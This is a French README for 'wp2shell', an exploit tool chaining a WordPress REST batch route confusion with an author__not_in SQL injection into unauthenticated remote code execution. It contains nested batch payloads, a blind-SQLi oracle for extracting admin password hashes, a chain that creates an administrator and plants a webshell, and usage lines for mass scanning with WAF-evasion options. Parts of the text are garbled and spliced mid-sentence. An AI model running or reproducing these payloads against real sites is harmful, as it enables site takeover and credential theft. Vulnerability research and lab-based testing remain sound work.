
CVE-2026-63030 + CVE-2026-60137 - “wp2shell” : RCE non authentifiée dans le cœur de WordPress
API REST : confusion de routes batch (CVE-2026-63030) enchaînée avec une injection SQL
author__not_indeWP_Query(CVE-2026-60137) → exécution de code à distance avant authentification contre une installation WordPress par défaut.Découverte par Adam Kues (Assetnote / Searchlight Cyber), divulguée le 17/07/2026. Avis de sécurité : GHSA-ff9f-jf42-662q, GHSA-fpp7-x2x2-2mjf.
| Chaîne (RCE non authentifiée) | WordPress 6.9.0 - 6.9.4 et 7.0.0 - 7.0.1 |
| SQLi uniquement (nécessite un plugin/thème facilitateur) | 6.8.0 - 6.8.5 |
| Non concernés | ≤ 6.8 pour la confusion de batch ; 6.9.5 / 7.0.2 / 7.1-beta2 (corrigés) |
| Conditions préalables | API REST accessible ; aucun cache d'objets persistant (Redis/Memcached) ; ≥1 article publié |
| Authentification requise | aucune |
| Impact | non authentifié → création d'un nouvel administrateur → exécution de code (la SQLi extrait aussi le hash admin) |
https://github.com/user-attachments/assets/7f9cc52c-3f31-4339-9192-e31e506684f6
requests et sans fonctionnalité cassée.shell, sans identifiants, forge un faux WP_Post via la confusion UNION sur article unique, passe par le customizer pour créer un administrateur flambant neuf (POST /wp/v2/users), se connecte et dépose un webshell protégé par jeton. L'extraction du hash admin par SQLi (read --preset users) est conservée comme seconde voie vérifiée.block_cannot_read), utilisé comme check principal non destructif.sqli), que les autres PoC ne possèdent pas.$wp$2y$ ().wp2shell/
├── README.md ← you are here
├── wp2shell.py ← the unified PoC (single file, stdlib only, by 0xsha)
└── lab/ ← reproducible Docker labs + reliability matrix
├── docker-compose.yml (default 6.9.4 lab)
├── docker-compose.matrix.yml (parameterised: any version × MySQL/MariaDB)
├── docker-compose.sqli.yml (6.8.3 "SQLi only" lab)
├── matrix.sh (runs the whole reliability matrix)
└── sqli-only/facilitator.php (mu-plugin: the 6.8.x facilitating sink)
Les six PoC publics sur lesquels s'appuie cet outil ne sont pas intégrés ici ; ils sont référencés dans Crédits.
Tout ce qui suit a été vérifié dans le laboratoire Docker local (voir §4) ; les affirmations qui n'ont pas été exécutées en laboratoire sont signalées comme telles.
La chaîne soude deux bugs indépendants. Les numéros de ligne proviennent du vrai code source de WordPress 6.9.4 (extrait de wordpress:6.9.4-apache).
author__not_in (CVE-2026-60137)wp-includes/class-wp-query.php, WP_Query::get_posts():
2403 if ( ! empty( $query_vars['author__not_in'] ) ) {
2404 if ( is_array( $query_vars['author__not_in'] ) ) { // ← guard only fires for ARRAYS
2405 $query_vars['author__not_in'] = array_unique( array_map( 'absint', $query_vars['author__not_in'] ) );
2406 sort( $query_vars['author__not_in'] );
2407 }
2408 $author__not_in = implode( ',', (array) $query_vars['author__not_in'] ); // ← string passes straight through
2409 $where .= " AND {$wpdb->posts}.post_author NOT IN ($author__not_in) "; // ← raw interpolation
2410 } elseif ( ! empty( $query_vars['author__in'] ) ) {
...
2415 $author__in = implode( ',', array_map( 'absint', array_unique( (array) $query_vars['author__in'] ) ) ); // ← absint INSIDE implode
Un author__not_in de type chaîne contourne la garde is_array() (2404) ; implode(',',(array)"…") le renvoie tel quel (2408) et il est concaténé brut dans le SQL (2409). Le author__in voisin (2415) réapplique array_map('absint', …) à l'intérieur de l'implode et est sûr - c'est ce array_map manquant qui constitue le bug. La valeur atterrit sous la forme ... post_author NOT IN (<value>) ..., donc 0) <sql>-- - ferme la liste et ajoute du SQL.
Faire parvenir une chaîne jusqu'ici est la partie difficile : le endpoint REST des articles mappe author_exclude → author__not_in (class-wp-rest-posts-controller.php:247) mais le déclare 'type' => 'array' d'entiers, si bien que le cœur convertit/rejette une chaîne :
GET /wp-json/wp/v2/posts?author_exclude=1) OR SLEEP(3)-- -
→ 400 "author_exclude[0] is not of type integer." (verified on 6.8.3)
C'est pourquoi le bug A seul n'est que « facilité ». Le bug B fait passer la chaîne au-delà de la validation sur 6.9+.
wp-includes/rest-api/class-wp-rest-server.php, serve_batch_request_v1():
1720 if ( false === $parsed_url ) {
1721 $requests[] = new WP_Error( 'parse_path_failed', … ); // a bad path becomes a WP_Error IN $requests
1749 foreach ( $requests as $single_request ) {
1750 if ( is_wp_error( $single_request ) ) {
1752 $validation[] = $single_request; // ← pushed to $validation …
1753 continue; // ← … but $matches is SKIPPED
1754 }
1757 $matches[] = $match; // ← $matches only grows for VALID requests
1825 foreach ( $requests as $i => $single_request ) { // indexed by position in $requests
1841 $match = $matches[ $i ]; // ← $matches is SHORTER → +1 shift
1861 $result = $this->respond_to_request( $single_request, $route, $handler, $error );
Une sous-requête WP_Error est poussée dans $validation[] (1752) mais pas dans $matches[] (le continue à la ligne 1753 saute la ligne 1757), si bien que $matches manque d'entrées et que $matches[$i] (1841) contient le gestionnaire de la requête suivante. La requête i est traitée avec le gestionnaire de la requête i+1, tout en portant ses propres paramètres et son propre verdict de validation (réussi).
Origine de la régression (diff 6.8.3 → 6.9.4 vérifié) : en 6.8.3, la boucle pousse $matches[] = $match pour chaque requête et les mauvais chemins sont écartés dans la première boucle - les tableaux restent alignés, pas de désynchronisation. La refactorisation de 6.9.0 a introduit le décalage. C'est exactement la raison pour laquelle 6.8.x est « SQLi uniquement » et que la chaîne RCE commence en 6.9.0.
Le correctif ajoute également $matches[] pour les entrées d'erreur, durcit la réentrance et analyse author__not_in à l'aide d'un utilitaire de liste d'identifiants. (6.9.5 n'était pas sur Docker Hub au moment des tests, cette information provient donc des avis de sécurité, pas d'un diff en laboratoire.)
Le schéma batch n'autorise que les sous-requêtes POST/PUT/PATCH/DELETE, mais get_items des articles (le puits author_exclude) est GET uniquement, la confusion est donc imbriquée deux fois :
// OUTER batch → POST /wp-json/batch/v1
{"requests": [
{"method":"POST","path":"///"}, // [0] bad path → WP_Error → +1 shift
{"method":"POST","path":"/wp/v2/posts", // [1] carrier: validated as a posts CREATE →
"body": { /* INNER batch */ }}, // its `requests` body is never schema-checked
{"method":"POST","path":"/batch/v1", // [2] handler → [1] dispatched as serve_batch_request_v1
"body":{"requests":[]}} // (no permission_callback → unauthenticated)
]}
// INNER batch (GET now allowed):
// [0] POST /// WP_Error → inner +1 shift
// [1] GET /wp/v2/users?author_exclude=<PAYLOAD> users has no author_exclude → PAYLOAD passes untouched
// [2] GET /wp/v2/posts [2]'s handler = posts get_items → runs [1] → SQLi
/// est l'amorce de désynchronisation (tout chemin rejeté par wp_parse_url() fonctionne). L'outil fournit également une version --variant categories du même procédé.
Une seule sonde non destructive, indépendante de la version, confirme CVE-2026-63030 même lorsque le puits SQLi est mis en cache d'objets ou filtré par un WAF : un batch de sous-requêtes POST où la désynchronisation fait répondre POST /wp/v2/posts par le callback de permission du block-renderer :
responses[1].code == "block_cannot_read" ← a permission error from a handler it never asked for
wp2shell.py check utilise ce signal en priorité (forme structurelle article vs terme en repli). (Technique de détection : Hadrian / Icex0.)
La valeur se trouve dans NOT IN (<value>), un oracle booléen propre : 0) AND (<cond>)-- - renvoie des lignes ssi <cond> est vraie. L'extraction est une recherche binaire caractère par caractère sur ASCII(SUBSTRING(COALESCE((expr),''),n,1)) (le COALESCE empêche un NULL de court-circuiter la lecture et de la rendre vide).
Note de laboratoire - le temporel demande de la prudence. Un
0) OR SLEEP(n)-- -naïf ne produit aucun délai sur une installation par défaut : les lignes publiées satisfont la requête en premier et court-circuitent leOR. La confirmation est un différentiel booléen déterministe ; le temporel utilise0) AND (SELECT 1 FROM (SELECT SLEEP(n))_z)-- -. Observé : 0,01 s contre 3,04 s.
La RCE pratique ne nécessite ni mot de passe ni cassage de hash. shell, sans identifiants, exécute toute la chaîne, entièrement vérifiée en laboratoire :
WP_Post. Une seconde variante de confusion atteint une requête propre, compatible UNION : /wp/v2/posts/999999?orderby=none&per_page=500 est validée contre le schéma d'article unique (les paramètres réservés aux collections passent donc sans être vérifiés), puis désynchronisée sur le gestionnaire de collection d'articles. orderby=none supprime le ORDER BY final et per_page=500 maintient WP_Query en mode lignes complètes, si bien qu'un UNION SELECT survit comme une ligne wp_posts fabriquée.oembed_cache + customize_changeset (son user_id défini sur l'ID d'un admin existant, obtenu via le UNION) + nav_menu_item. Déclencher l'oEmbed fait exécuter le changeset du customizer .Alternative plus ancienne (--user/--password). read --preset users extrait wp_users.user_pass (le $wp$2y$… de WordPress 6.9 = bcrypt sur HMAC-SHA384 ; à casser avec hashcat -m 35500), puis shell --user/--password se connecte avec le texte clair retrouvé. Réel, mais bcrypt le rend lent, donc la chaîne de création d'admin ci-dessus est le chemin canonique.
6.8.x possède le bug A mais pas le bug B, et le cœur convertit author_exclude en tableau d'entiers ; la SQLi n'est donc accessible que via un plugin/thème facilitateur qui fournit à WP_Query une chaîne brute. La sous-commande sqli injecte directement dans un tel puits (temporel par défaut ; booléen rapide avec --true-contains). Démontré contre le facilitateur lab/sqli-only sur 6.8.3.
wp2shell.pyFichier unique, Python 3.7+, bibliothèque standard uniquement. Transport prêt pour la production sur chaque commande : --insecure (TLS auto-signé), -H 'K: V' (répétable), --user-agent, --proxy, --retries, --delay.
check fingerprint + confusion marker + confirm the SQLi (non-destructive)
read read the DB via blind SQLi (--preset fingerprint|users | --query "SELECT …")
shell RCE: admin login → token-gated plugin webshell → run commands (-i for a REPL)
sqli author__not_in SQLi against a direct/facilitated sink (6.8.x, or any plugin sink)
scan threaded vuln-check over a single URL OR a .txt list (--prove, --json)
./wp2shell.py check https://target
./wp2shell.py read https://target --preset users # logins + $wp$2y$ hashes (+ hashcat hint)
./wp2shell.py read https://target --query "SELECT @@version"
./wp2shell.py shell https://target --cmd id # crack-free: creates an admin, then webshell
./wp2shell.py shell https://target -i # interactive shell
./wp2shell.py shell https://target --user admin --password '<cracked>' --cmd id # or reuse an existing admin
./wp2shell.py scan https://target --prove # single URL, extract @@version as proof
./wp2shell.py scan targets.txt --threads 10 --json out.json # a .txt of targets
./wp2shell.py sqli https://target --endpoint '/?plugin_route=1' --param author_not_in --true-contains ROWS:YES
# prod knobs: self-signed TLS, WAF header, Burp, rate-limit
./wp2shell.py check https://target --insecure -H 'X-Forwarded-For: 127.0.0.1' --proxy http://127.0.0.1:8080 --delay 0.2
# default vulnerable lab (WordPress 6.9.4 + MariaDB), http://localhost:8080
docker compose -f lab/docker-compose.yml up -d
docker compose -f lab/docker-compose.yml logs -f wpcli # wait for "LAB READY"
./wp2shell.py check http://localhost:8080
docker compose -f lab/docker-compose.yml down -v
bash lab/matrix.sh # full version × DB matrix
# "SQLi only" lab (6.8.3 + facilitating mu-plugin), http://localhost:8082
docker compose -f lab/docker-compose.sqli.yml up -d
./wp2shell.py sqli http://localhost:8082 --endpoint '/?wp2shell_faccheck=1' \
--param author_not_in --true-contains ROWS:YES --preset fingerprint
L'admin du laboratoire est admin / Admin!2345 - le texte clair n'est connu que pour que le laboratoire puisse démontrer le shell post-authentification ; un vrai attaquant récupère le hash et le casse.
Le périmètre des bases de données se limite à MySQL et MariaDB - le cœur de WordPress ne prend en charge aucun autre moteur en production (pas de driver PostgreSQL/MSSQL ; SQLite uniquement via un plugin rare).
Chaque commande a été exercée en laboratoire : check (marqueur block_cannot_read + booléen + temporel), read (fingerprint / users / --query), shell (création d'admin sans cassage → connexion → webshell → uid=33(www-data), plus --user/--password et REPL interactif), sqli (booléen + temporel), scan (URL unique + .txt + --json + --prove), le payload --variant categories, l'auto-détection du endpoint (/wp-json/ + ), et les options de transport.
$ ./wp2shell.py check http://localhost:8080
[+] Batch endpoint reachable and unauthenticated (HTTP 207) at http://localhost:8080/wp-json/batch/v1
[+] Route confusion ACTIVE - categories request answered by the block-renderer handler (block_cannot_read); CVE-2026-63030 confirmed.
[+] SQL injection CONFIRMED - boolean-blind differential over author__not_in (CVE-2026-60137).
[+] Time-based channel also confirmed - baseline 0.02s vs injected 3.04s.
$ ./wp2shell.py read http://localhost:8080 --preset users
[+] 1|admin|$wp$2y$10$IUUVXuWQ45USOc/rkRAcduAEvyYmHNabvfWFBMq5ApR9RGau6Fxx.
[*] crack the $wp$2y$ hashes with: hashcat -m 35500 …
$ ./wp2shell.py shell http://localhost:8080 --cmd id
[*] No credentials supplied - creating a fresh administrator pre-auth (no hash, no crack) ...
[+] Administrator created: wp2_950eeb3deda8 / Wp2!... (borrowed admin id 1)
[+] Authenticated.
uid=33(www-data) gid=33(www-data) groups=33(www-data)
block_cannot_read), VulnCheck.wp2shell.py, aucun code copié tel quel) :
WP_Post via la confusion de route sur article unique, piloter un graphe oembed_cache + customize_changeset (user_id=admin) + pour que le customizer s'exécute en tant qu'admin existant, puis pour fabriquer un nouvel administrateur.Réservé aux tests de sécurité autorisés et à l'éducation - systèmes que vous possédez ou que vous êtes autorisé par écrit à tester. Toute l'exploitation présentée ici a été exécutée contre un laboratoire Docker local jetable ; le webshell est protégé par jeton et la commande par défaut est bénigne. Vous êtes responsable de l'usage que vous en faites.
-m 35500POST /wp/v2/users avec roles:["administrator"] réussit désormais sous le contexte admin emprunté, et un nouvel administrateur wp2_* apparaît dans wp_users (vérifié : une nouvelle ligne admin).update.php?action=upload-plugin, exécuter des commandes. Vérifié : uid=33(www-data).| WordPress | Moteur de BD | Chemin | check | Données extraites |
|---|
| 6.9.4 | MariaDB 11 | chaîne batch | ✅ RCE complète | hash admin $wp$2y$… + @@version |
| 7.0.1 | MariaDB 11 | chaîne batch | ✅ RCE complète | hash admin |
| 6.9.4 | MySQL 8.4 | chaîne batch | ✅ RCE complète | hash admin (payloads portables) |
| 6.8.3 | MariaDB 11 | chaîne batch | ⛔ 207 mais pas de confusion | - (conforme à l'avis) |
| 6.8.3 | MariaDB 11 | sqli facilitée | ✅ CVE-2026-60137 | @@version, user, db - booléen et temporel |
?rest_route=nav_menu_itemPOST /wp/v2/usersunion_inject, UnionSQLi, PreAuthAdminCreator), le détecteur de marqueur block_cannot_read, l'extraction COALESCE sûre face aux NULL, et un temporel résistant à la gigue.$wp$2y$ → hashcat -m 35500) : hashpwn / hashcat.